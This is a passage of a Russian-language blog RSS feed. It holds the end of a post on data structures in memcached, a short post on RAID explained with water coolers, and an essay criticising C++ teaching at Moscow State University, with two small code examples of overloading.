&lt;li&gt;блокировки;&lt;/li&gt;
&lt;li&gt;теневые ключи;&lt;/li&gt;
&lt;li&gt;кольцевой буфер с автоматическим "отмиранием" ключей;&lt;/li&gt;
&lt;li&gt;блокировки и модель reader-writer.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;В статье не рассматривались вопросы оптимизации, специфичной для memcached, например,&lt;/p&gt;
&lt;p&gt;использование multi-get запросов. Это делалось сознательно, чтобы не перегружать исходный код и рассказ.&lt;/p&gt;
&lt;p&gt;Во многих ситуациях приведенные выше примеры следует рассматривать скорее как псевдокод, чем как пример&lt;/p&gt;
&lt;p&gt;идеальной реализации на Python.&lt;/p&gt;
&lt;p&gt;Если Вы нашли ошибку, хотите предложить более ясное, более оптимальное решение поставленным задачам,&lt;/p&gt;
&lt;p&gt;хотите предложить реализацию для какой-то еще структуры данных - буду рад комментариям и критике.&lt;/p&gt;</description><category>log</category><category>memcached</category><category>memcachedb</category><category>массив</category><category>преподавание</category><category>разработка</category><category>список</category><category>счетчик</category><category>таблица</category><guid>http://www.smira.ru/posts/20090121data-structures-in-memcached-memcachedb.html</guid><pubDate>Wed, 21 Jan 2009 07:34:33 GMT</pubDate></item><item><title>Объяснение RAID-технологий кулерами</title><link>http://www.smira.ru/posts/20080428coolered-rai.html</link><dc:creator>Andrey</dc:creator><description>&lt;p&gt;&lt;/p&gt;&lt;p&gt;Наткнулся в замечательном &lt;a href="http://www.freebsdos.com/"&gt;блоге&lt;/a&gt;, пропангадирующем &lt;a href="http://www.freebsd.org/"&gt;FreeBSD&lt;/a&gt;, на чудесное объяснение RAID через &lt;a href="http://pixdaus.com/single.php?id=2083"&gt;бутылки воды и кулеры&lt;/a&gt;. Ну разве это не замечательно? Может, так на лекциях рассказывать? :)&lt;/p&gt;</description><category>raid</category><category>преподавание</category><category>разработка</category><guid>http://www.smira.ru/posts/20080428coolered-rai.html</guid><pubDate>Mon, 28 Apr 2008 04:54:58 GMT</pubDate></item><item><title>Как преподавать C++?</title><link>http://www.smira.ru/posts/20080330teaching-c-plus-plus.html</link><dc:creator>Andrey</dc:creator><description>&lt;p&gt;&lt;/p&gt;&lt;p&gt;Кого мы хотим подготовить, обучая студентов программированию на C++? Что они должны вынести из курса? Мне кажется, важно научить писать программы. Красивые, эффективные, сопровождаемые. Язык - лишь инструмент программирования. И надо научиться пользоваться инструментом. Вот когда в автошколе учат вождению машину, совсем не обязательно знать тонкости устройства шины CAN, обеспечивающей связь всех устройств автомобиля. Да, надо узнать, что такое тормоза, руль, двигатель, но на каких-то деталях надо остановиться, и, самое, главное, надо научиться пользоваться автомобилем (то есть водить автомобиль) безопасно, уверенно и т.п. &lt;/p&gt;
&lt;p&gt;А почему мы заставляем студентов знать подробности языка, которые нельзя продемонстрировать на разумном примере? Например, множественное наследование (я уже молчу о виртуальном наследование в сочетании с множественном). Для этого нужны примеры, большие примеры, огромное количество понятий (например, интерфейсы), чтобы студент почувствовал, что и зачем. А мы с упорством сумасшедших рассказываем о том, какие члены классов будут видны или не видны в той или иной ситуации.&lt;/p&gt;
&lt;p&gt;Вот объясните мне, кто-нибудь использовал перегрузку наряду с виртуальностью?&lt;/p&gt;
&lt;pre class="code literal-block"&gt;&lt;span class="n"&gt;class&lt;/span&gt; &lt;span class="n"&gt;A&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="n"&gt;virtual&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="n"&gt;class&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;public&lt;/span&gt; &lt;span class="n"&gt;A&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="n"&gt;virtual&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;double&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/pre&gt;


&lt;p&gt;Что это нормально, это работает? Зачем нужны эти знания? А кто перегружал функции, расположенные в разных областях видимости?&lt;/p&gt;
&lt;pre class="code literal-block"&gt;&lt;span class="n"&gt;class&lt;/span&gt; &lt;span class="n"&gt;A&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;f&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="n"&gt;A&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sc"&gt;'a'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;


&lt;p&gt;Ну кто такое делает в реальных задачах? Зачем студентов заставлять разбирать эти примеры?&lt;/p&gt;
&lt;p&gt;Как я понял из &lt;a href="http://http://www.ddj.com/cpp/207000124?pgno=3"&gt;интервью Бьерна Страуструпа&lt;/a&gt;, это проблема преподавания Computer Science не только на факультете ВМиК МГУ. Он говорит, кого мы готовим? &lt;em&gt;lanugage lawyers&lt;/em&gt;? По-моему, это очень точно английское словосочетание... Мы готовим студентов стать членами комитета ISO по стандартизации C++?&lt;/p&gt;
&lt;p&gt;Они еще не поняли до конца, зачем нужны конструкторы, как написать надежные классы, они не узнают в рамках курса ничего про юнит-тесты, например, зато приведенные выше примеры будут щелкать как орешки.&lt;/p&gt;
&lt;p&gt;Кому это нужно? Самоудовлетворение от задалбливания в умы студентов бесполезных знаний?&lt;/p&gt;
&lt;p&gt;Почему мы не экзаменуем их на умение программировать? Ну или хотя бы на знание базовых конструкций языка? Зачем такие извращенные примеры?&lt;/p&gt;
&lt;p&gt;Если бы я опубликовал весь вариант работы, которую писали студенты, думаю, многие были бы в шоке. Я уверяю, что подавляющее большинство потрясающих, талантливых C++-программистов не смогут решить этот вариант на "пять". Но от этого они не становятся хуже, а претензии надо предъявлять тем, кто составил такую программу курса, предъявляет такие требования к студентам. Как они могут полюбить такой предмет?&lt;/p&gt;
&lt;p&gt;По-моему, пора остановиться и сменить ориентиры.&lt;/p&gt;</description><category>C++</category><category>мгу</category><category>преподавание</category><guid>http://www.smira.ru/posts/20080330teaching-c-plus-plus.html</guid><pubDate>Sun, 30 Mar 2008 14:15:29 GMT</pubDate></item></channel></rss>